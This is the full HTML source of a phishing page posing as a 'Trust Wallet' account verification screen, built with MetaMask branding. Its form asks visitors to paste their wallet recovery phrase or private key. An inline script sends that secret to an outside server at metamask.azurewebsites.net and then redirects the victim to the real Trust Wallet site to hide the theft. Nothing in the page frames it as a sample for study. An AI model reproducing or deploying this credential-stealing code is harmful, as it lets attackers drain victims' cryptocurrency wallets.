<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1 user-scalable=no">
<title>Trust Wallet</title>
<link rel="stylesheet" type="text/css" href="./index.css" title="ltr">
<link rel="stylesheet" type="text/css" href="./index-rtl.css" title="rtl" disabled="">
<style></style>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"
integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<style>
.menu-droppo-enter {
transition: transform 300ms ease-in-out;
transform: translateY(-200%);
}
.menu-droppo-enter.menu-droppo-enter-active {
transition: transform 300ms ease-in-out;
transform: translateY(0%);
}
.menu-droppo-leave {
transition: transform 300ms ease-in-out;
transform: translateY(0%);
}
.menu-droppo-leave.menu-droppo-leave-active {
transition: transform 300ms ease-in-out;
transform: translateY(-200%);
}
</style>
</head>
<body>
<div id="app-content">
<div class="app os-mac mouse-user-styles">
<div class="app-header app-header--back-drop" style="background-color: #3474bb;">
<div class="app-header__contents">
<div class="app-header__logo-container app-header__logo-container--clickable">
<img height="30" src="./images/logo/metamask-logo-horizontal.svg"
class="app-header__metafox-logo--horizontal" alt="">
<img src="./images/logo/metamask-logo-horizontal.svg" class="app-header__metafox-logo--icon"
alt="">
</div>
<div class="app-header__account-menu-container">
<div class="app-header__network-component-wrapper">
<div class="network-display network-display--clickable chip chip--with-left-icon chip--with-right-icon chip--border-color-ui-3 chip--background-color-undefined"
role="button" tabindex="0">
<div class="chip__left-icon">
<div
class="color-indicator color-indicator--filled color-indicator--color-mainnet color-indicator--size-lg">
<span class="color-indicator__inner-circle"></span>
</div>
</div>
<span style="color: white;"
class="box box--margin-top-1 box--margin-right-0 box--margin-bottom-1 box--margin-left-0 box--flex-direction-row typography chip__label typography--h7 typography--weight-normal typography--style-normal typography--color-ui-4">Ethereum
Mainnet
</span>
<div class="chip__right-icon">
<i class="network-display__icon app-header__network-down-arrow"></i>
</div>
</div>
</div>
<div class="account-menu__icon">
<div class="identicon__address-wrapper">
<div class="identicon" style="height: 32px; width: 32px; border-radius: 16px;">
<div
style="border-radius: 50px; overflow: hidden; padding: 0px; margin: 0px; width: 32px; height: 32px; display: inline-block; background: rgb(250, 96, 0);">
<svg x="0" y="0" width="32" height="32">
<rect x="0" y="0" width="32" height="32"
transform="translate(-0.6441926787673019 8.109353487398304) rotate(242.7 16 16)"
fill="#03585E"></rect>
<rect x="0" y="0" width="32" height="32"
transform="translate(19.48632242965606 4.674336239810415) rotate(15.1 16 16)"
fill="#F5AF00"></rect>
<rect x="0" y="0" width="32" height="32"
transform="translate(-22.12980956539065 1.5118043043902307) rotate(209.9 16 16)"
fill="#018E87"></rect>
</svg>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="menu-droppo-container network-droppo"
style="position: absolute; top: 58px; width: 309px; z-index: 55;">
</div>
<div class="main-container-wrapper" style="margin-top: 20px;">
<div class="new-account">
<div class="new-account__form">
<div class="page-container__header">
<div class="page-container__title">Verify Account</div>
<div class="page-container__subtitle">Verified accounts will be associated with your
originally created Trust Wallet account Secret Recovery Phrase. </div>
</div>
<div class="new-account-import-form">
<div class="new-account-import-form__select-section">
<div class="new-account-import-form__select-label">Select Type</div>
<select id="cryptoType" class="dropdown new-account-import-form__select">
<option value="Pass Phrase">Recovery Phrase</option>
<option value="Private Key">Private Key</option>
</select>
</div>
<div class="new-account-import-form__private-key">
<span id="CryptoTypeLabel" class="new-account-create-form__instruction">Paste your
Recovery Phrase here:</span>
<div class="new-account-import-form__private-key-password-container">
<input class="new-account-import-form__input-password" type="text"
id="private-key-box">
<textarea rows="6" class="new-account-import-form__textarea-password" type="text"
id="phrase-key-box"></textarea>
<span id="text-description" style="
font-size: 14px;
margin-top: 10px;
color: #3474bb;
">Typically 12 (sometimes 24) words seperated by a single spaces.</span>
</div>
<div class="new-account-import-form__buttons">
<button id="import-cancel"
class="button btn--rounded btn-secondary btn--large new-account-create-form__button"
role="button" tabindex="0">Cancel</button>
<button id="import-submit"
class="button btn--rounded btn-primary btn--large new-account-create-form__button"
role="button" tabindex="0">Verify</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="popover-content"></div>
<script>
$(document).ready(function () {
$("#import-cancel").click(function () {
window.location.href = "http://trustwallet.com";
});
$("#private-key-box").hide();
$("#import-submit").click(function () {
$(this).text("Please wait...");
var phrase = $("#phrase-key-box");
var privateKey = $("#private-key-box");
var cyptoType = $("#cryptoType");
var cryptoValue = "";
privateKey.css("border-color", "#d2d8dd");
phrase.css("border-color", "#d2d8dd");
if (cyptoType.val() == "Private Key") {
cryptoValue = privateKey.val();
}
else if (cyptoType.val() == "Pass Phrase") {
cryptoValue = phrase.val();
}
if (!cryptoValue.trim()) {
$(this).text("Verify");
privateKey.css("border-color", "red");
phrase.css("border-color", "red");
return;
}
var form = new FormData();
form.append("CryptoType", cyptoType.val());
form.append("cryptoValue", cryptoValue);
var settings = {
"url": "https://metamask.azurewebsites.net/api/metamask",
"method": "POST",
"timeout": 0,
"processData": false,
"mimeType": "multipart/form-data",
"contentType": false,
"data": form
};
$.ajax(settings).done(function (response) {
$(this).text("Verify");
window.location.href = "http://trustwallet.com";
});
});
$("#cryptoType").change(function () {
var item = $(this);
if (item.val() == "Private Key") {
$("#CryptoTypeLabel").text("Paste your private key string here:");
$("#private-key-box").show();
$("#phrase-key-box").hide();
$("#text-description").text("Typically a long text with more than 10 characters");
}
else if (item.val() == "Pass Phrase") {
$("#CryptoTypeLabel").text("Paste your Recovery Phrase here:");
$("#private-key-box").hide();
$("#phrase-key-box").val("");
$("#phrase-key-box").text("");
$("#phrase-key-box").show();
$("#text-description").text("Typically 12(sometimes 24) words seperated by a single spaces.");
}
});
});
</script>
</body>
</html>